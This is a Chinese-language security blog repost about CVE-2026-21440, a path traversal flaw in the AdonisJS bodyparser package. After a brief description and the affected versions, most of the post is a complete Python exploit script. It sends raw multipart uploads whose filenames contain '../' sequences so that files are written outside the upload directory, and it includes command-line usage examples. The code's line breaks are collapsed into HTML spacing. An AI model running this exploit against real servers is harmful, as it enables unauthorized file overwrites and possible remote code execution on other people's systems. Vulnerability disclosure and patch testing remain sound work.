CVE-2026-21440|AdonisJS远程代码执行漏洞(POC)

admin 2026-01-12 01:15:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: AdonisJS的@adonisjs/bodyparser包在≤10.1.1及11.0.0-next.5版本存在路径遍历漏洞,攻击者通过构造含../的恶意文件名,利用MultipartFile.move默认配置将文件写到任意路径,可覆盖敏感文件实现远程代码执行。文章给出CVE-2026-21440编号、影响版本、完整PythonPOC及检测利用步骤,建议立即升级组件并强制校验与重命名上传文件名。 综合评分: 88 文章分类: 漏洞分析,漏洞POC,WEB安全,应用安全,安全工具


cover_image

CVE-2026-21440|AdonisJS远程代码执行漏洞(POC)

alicy

信安百科

2026年1月11日 11:32 河北

0x00 前言

AdonisJS是一个基于Node.js的全栈Web应用框架,采用MVC架构,旨在提供一种高效、简洁且具有良好开发体验的开发方式。

它内置了多种常用功能,如认证、数据库迁移、验证、邮件处理、文件上传等,帮助开发者专注于业务逻辑而无需过多关注底层实现。

AdonisJS提供了完善的CLI工具和强大的路由系统,适用于构建从小型应用到大型企业级应用的项目。

0x01 漏洞描述

AdonisJS的@adonisjs/bodyparser包存在路径遍历漏洞。攻击者可通过构造恶意文件名,利用MultipartFile.move(location,options)的默认选项,将文件写入服务器任意位置,绕过预期的上传目录。

若未显式设置options.name或options.overwrite,攻击者可通过路径遍历写入敏感文件,可能导致远程代码执行(RCE)。

0x02 CVE编号

CVE-2026-21440

0x03 影响版本

@adonisjs/bodyparser <=&nbsp;10.1.1@adonisjs/bodyparser <=&nbsp;11.0.0-next.5

0x04 漏洞详情

POC:

https://github.com/k0nnect/cve-2026-21440-writeup

#!/usr/bin/env python3"""CVE-2026-21440 - Path Traversal Exploit for @adonisjs/bodyparser
This script exploits a path traversal vulnerability in the @adonisjs/bodyparserpackage (versions ≤ 10.1.1 and 11.0.0-next.1 to 11.0.0-next.5).
The vulnerability allows an attacker to write arbitrary files outside the&nbsp;intended upload directory by crafting a malicious filename with directory&nbsp;traversal sequences.
Author: k0nnectDate: 2026-01-07
⚠️ &nbsp;DISCLAIMER: This tool is for authorized security testing only.&nbsp; &nbsp; Unauthorized access to computer systems is illegal."""
import&nbsp;argparseimport&nbsp;sysimport&nbsp;osimport&nbsp;socketfrom&nbsp;urllib.parse&nbsp;import&nbsp;urlparse, urljoin
try:&nbsp; &nbsp;&nbsp;import&nbsp;requestsexcept&nbsp;ImportError:&nbsp; &nbsp;&nbsp;print("[!] Error: 'requests' library not found.")&nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;Install with: pip install requests")&nbsp; &nbsp; sys.exit(1)

# BannerBANNER =&nbsp;"""╔═══════════════════════════════════════════════════════════════╗║ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CVE-2026-21440 Path Traversal Exploit &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ║║ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;@adonisjs/bodyparser &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ║║ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ║║ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;github.com/k0nnect/cve-2026-21440-writeup &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;║╚═══════════════════════════════════════════════════════════════╝"""

class&nbsp;PathTraversalExploit:&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Exploit class for CVE-2026-21440 path traversal vulnerability.&nbsp; &nbsp; """
&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self, target_url:&nbsp;str, timeout:&nbsp;int&nbsp;=&nbsp;10, verify_ssl:&nbsp;bool&nbsp;=&nbsp;True):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; &nbsp; &nbsp; Initialize the exploit.&nbsp; &nbsp; &nbsp; &nbsp; """&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.target_url = target_url.rstrip('/')&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.timeout = timeout&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.verify_ssl = verify_ssl&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.session = requests.Session()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Parse URL&nbsp; &nbsp; &nbsp; &nbsp; parsed = urlparse(self.target_url)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.host = parsed.hostname&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.port = parsed.port&nbsp;or&nbsp;(443&nbsp;if&nbsp;parsed.scheme ==&nbsp;'https'&nbsp;else&nbsp;80)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.path = parsed.path&nbsp;or&nbsp;'/'&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.is_https = parsed.scheme ==&nbsp;'https'
&nbsp; &nbsp;&nbsp;def&nbsp;check_target(self) ->&nbsp;bool:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""Check if target is reachable and healthy."""&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; base_url =&nbsp;'/'.join(self.target_url.split('/')[:-1])&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; health_url = urljoin(base_url +&nbsp;'/',&nbsp;'health')&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response =&nbsp;self.session.get(health_url, timeout=self.timeout, verify=self.verify_ssl)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;response.status_code ==&nbsp;200:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] Target is reachable and healthy")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Target returned status&nbsp;{response.status_code}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[!] Cannot connect to target:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp;&nbsp;def&nbsp;exploit(self, traversal_path:&nbsp;str, content:&nbsp;str, verbose:&nbsp;bool&nbsp;=&nbsp;False) ->&nbsp;bool:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; &nbsp; &nbsp; Execute the path traversal exploit using raw sockets.
&nbsp; &nbsp; &nbsp; &nbsp; This bypasses all library-level filename sanitization.&nbsp; &nbsp; &nbsp; &nbsp; """&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n[*] Target URL:&nbsp;{self.target_url}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Traversal Path:&nbsp;{traversal_path}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Payload Size:&nbsp;{len(content)}&nbsp;bytes")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Construct raw multipart body with unsanitized filename&nbsp; &nbsp; &nbsp; &nbsp; boundary =&nbsp;"----CVE2026214440Boundary"
&nbsp; &nbsp; &nbsp; &nbsp; body = (&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"--{boundary}\r\n"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f'Content-Disposition: form-data; name="file"; filename="{traversal_path}"\r\n'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"Content-Type: application/octet-stream\r\n"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"\r\n"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"{content}\r\n"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"--{boundary}--\r\n"&nbsp; &nbsp; &nbsp; &nbsp; ).encode('utf-8')
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Construct raw HTTP request&nbsp; &nbsp; &nbsp; &nbsp; request = (&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"POST&nbsp;{self.path}&nbsp;HTTP/1.1\r\n"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"Host:&nbsp;{self.host}:{self.port}\r\n"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"Content-Type: multipart/form-data; boundary={boundary}\r\n"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"Content-Length:&nbsp;{len(body)}\r\n"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"Connection: close\r\n"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"\r\n"&nbsp; &nbsp; &nbsp; &nbsp; ).encode('utf-8') + body
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;verbose:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Crafted filename in request:&nbsp;{traversal_path}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Raw request size:&nbsp;{len(request)}&nbsp;bytes")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("\n[*] Sending exploit payload via raw socket...")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Create socket and connect&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock.settimeout(self.timeout)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;self.is_https:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;import&nbsp;ssl&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; context = ssl.create_default_context()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;self.verify_ssl:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; context.check_hostname =&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; context.verify_mode = ssl.CERT_NONE&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock = context.wrap_socket(sock, server_hostname=self.host)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock.connect((self.host,&nbsp;self.port))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock.sendall(request)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Receive response&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response =&nbsp;b""&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chunk = sock.recv(4096)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;chunk:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response += chunk
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock.close()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Parse response&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response_str = response.decode('utf-8', errors='ignore')
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;verbose:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Raw response:\n{response_str[:1000]}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Extract status code&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; first_line = response_str.split('\r\n')[0]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; status_code =&nbsp;int(first_line.split()[1])&nbsp;if&nbsp;len(first_line.split()) >&nbsp;1&nbsp;else&nbsp;0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Extract body (after double CRLF)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; body_start = response_str.find('\r\n\r\n')&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response_body = response_str[body_start +&nbsp;4:]&nbsp;if&nbsp;body_start != -1&nbsp;else&nbsp;""
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;verbose:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Response Status:&nbsp;{status_code}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Response Body:&nbsp;{response_body[:500]}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;status_code ==&nbsp;200:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("\n[+] ✓ Exploit successful!")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Try to parse JSON response&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;import&nbsp;json&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Handle chunked encoding&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;'Transfer-Encoding: chunked'&nbsp;in&nbsp;response_str:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Simple chunked decode - find JSON in body&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; json_start = response_body.find('{')&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; json_end = response_body.rfind('}') +&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;json_start != -1&nbsp;and&nbsp;json_end > json_start:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response_body = response_body[json_start:json_end]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data = json.loads(response_body)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;data.get('success')&nbsp;and&nbsp;'data'&nbsp;in&nbsp;data:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; info = data['data']&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Original name:&nbsp;{info.get('originalName',&nbsp;'N/A')}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Resolved path:&nbsp;{info.get('resolvedPath',&nbsp;'N/A')}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;info.get('escapedUploadsDir'):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] ⚠️ &nbsp;PATH TRAVERSAL CONFIRMED - Escaped uploads directory!")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;status_code ==&nbsp;400:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("\n[-] ✗ Bad request - file may have been rejected")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n[-] Unexpected status:&nbsp;{status_code}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;socket.timeout:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("\n[!] Request timed out")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;ConnectionRefusedError:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("\n[!] Connection refused")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n[!] Exploit failed:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;verbose:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;import&nbsp;traceback&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; traceback.print_exc()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False

def&nbsp;main():&nbsp; &nbsp;&nbsp;"""Main entry point."""&nbsp; &nbsp; parser = argparse.ArgumentParser(&nbsp; &nbsp; &nbsp; &nbsp; description='CVE-2026-21440 Path Traversal Exploit',&nbsp; &nbsp; &nbsp; &nbsp; formatter_class=argparse.RawDescriptionHelpFormatter,&nbsp; &nbsp; &nbsp; &nbsp; epilog="""Examples:&nbsp; python exploit.py --url http://target:3333/upload --path "../test.txt"&nbsp; python exploit.py --url http://target:3333/upload --path "../../tmp/pwned.txt" --content "pwned"&nbsp; &nbsp; &nbsp; &nbsp; """&nbsp; &nbsp; )
&nbsp; &nbsp; parser.add_argument('--url',&nbsp;'-u', required=True,&nbsp;help='Target upload endpoint URL')&nbsp; &nbsp; parser.add_argument('--path',&nbsp;'-p', required=True,&nbsp;help='Traversal path (e.g., ../test.txt)')&nbsp; &nbsp; parser.add_argument('--content',&nbsp;'-c', default='CVE-2026-21440 PoC',&nbsp;help='File content')&nbsp; &nbsp; parser.add_argument('--file',&nbsp;'-f',&nbsp;help='Read content from file')&nbsp; &nbsp; parser.add_argument('--timeout',&nbsp;'-t',&nbsp;type=int, default=10,&nbsp;help='Timeout (seconds)')&nbsp; &nbsp; parser.add_argument('--no-ssl-verify', action='store_true',&nbsp;help='Disable SSL verify')&nbsp; &nbsp; parser.add_argument('--check', action='store_true',&nbsp;help='Only check target')&nbsp; &nbsp; parser.add_argument('--verbose',&nbsp;'-v', action='store_true',&nbsp;help='Verbose output')
&nbsp; &nbsp; args = parser.parse_args()
&nbsp; &nbsp;&nbsp;print(BANNER)
&nbsp; &nbsp;&nbsp;# Load content&nbsp; &nbsp; content = args.content&nbsp; &nbsp;&nbsp;if&nbsp;args.file:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;os.path.exists(args.file):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;open(args.file,&nbsp;'r')&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; content = f.read()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Loaded content from:&nbsp;{args.file}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[!] File not found:&nbsp;{args.file}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)
&nbsp; &nbsp; exploit = PathTraversalExploit(&nbsp; &nbsp; &nbsp; &nbsp; target_url=args.url,&nbsp; &nbsp; &nbsp; &nbsp; timeout=args.timeout,&nbsp; &nbsp; &nbsp; &nbsp; verify_ssl=not&nbsp;args.no_ssl_verify&nbsp; &nbsp; )
&nbsp; &nbsp;&nbsp;if&nbsp;args.check:&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(0&nbsp;if&nbsp;exploit.check_target()&nbsp;else&nbsp;1)
&nbsp; &nbsp;&nbsp;print("[*] Starting exploit...")
&nbsp; &nbsp; success = exploit.exploit(args.path, content, args.verbose)
&nbsp; &nbsp;&nbsp;if&nbsp;success:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("\n"&nbsp;+&nbsp;"="*60)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] Exploit completed - verify file on target")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("="*60)&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(0)&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("\n[-] Exploit may have failed")&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

if&nbsp;__name__ ==&nbsp;'__main__':&nbsp; &nbsp; main()

0x05 参考链接

https://github.com/k0nnect/cve-2026-21440-writeup

https://github.com/adonisjs/bodyparser/releases/

推荐阅读:

CVE-2025-68645|Zimbra本地文件包含漏洞(POC)

CVE-2025-55182|React/Next.js远程代码执行漏洞(POC)

CVE-2025-64446|Fortinet FortiWeb身份验证绕过漏洞(POC)

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!


本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:信安百科 alicy《CVE-2026-21440|AdonisJS远程代码执行漏洞(POC)》

评论:0   参与:  0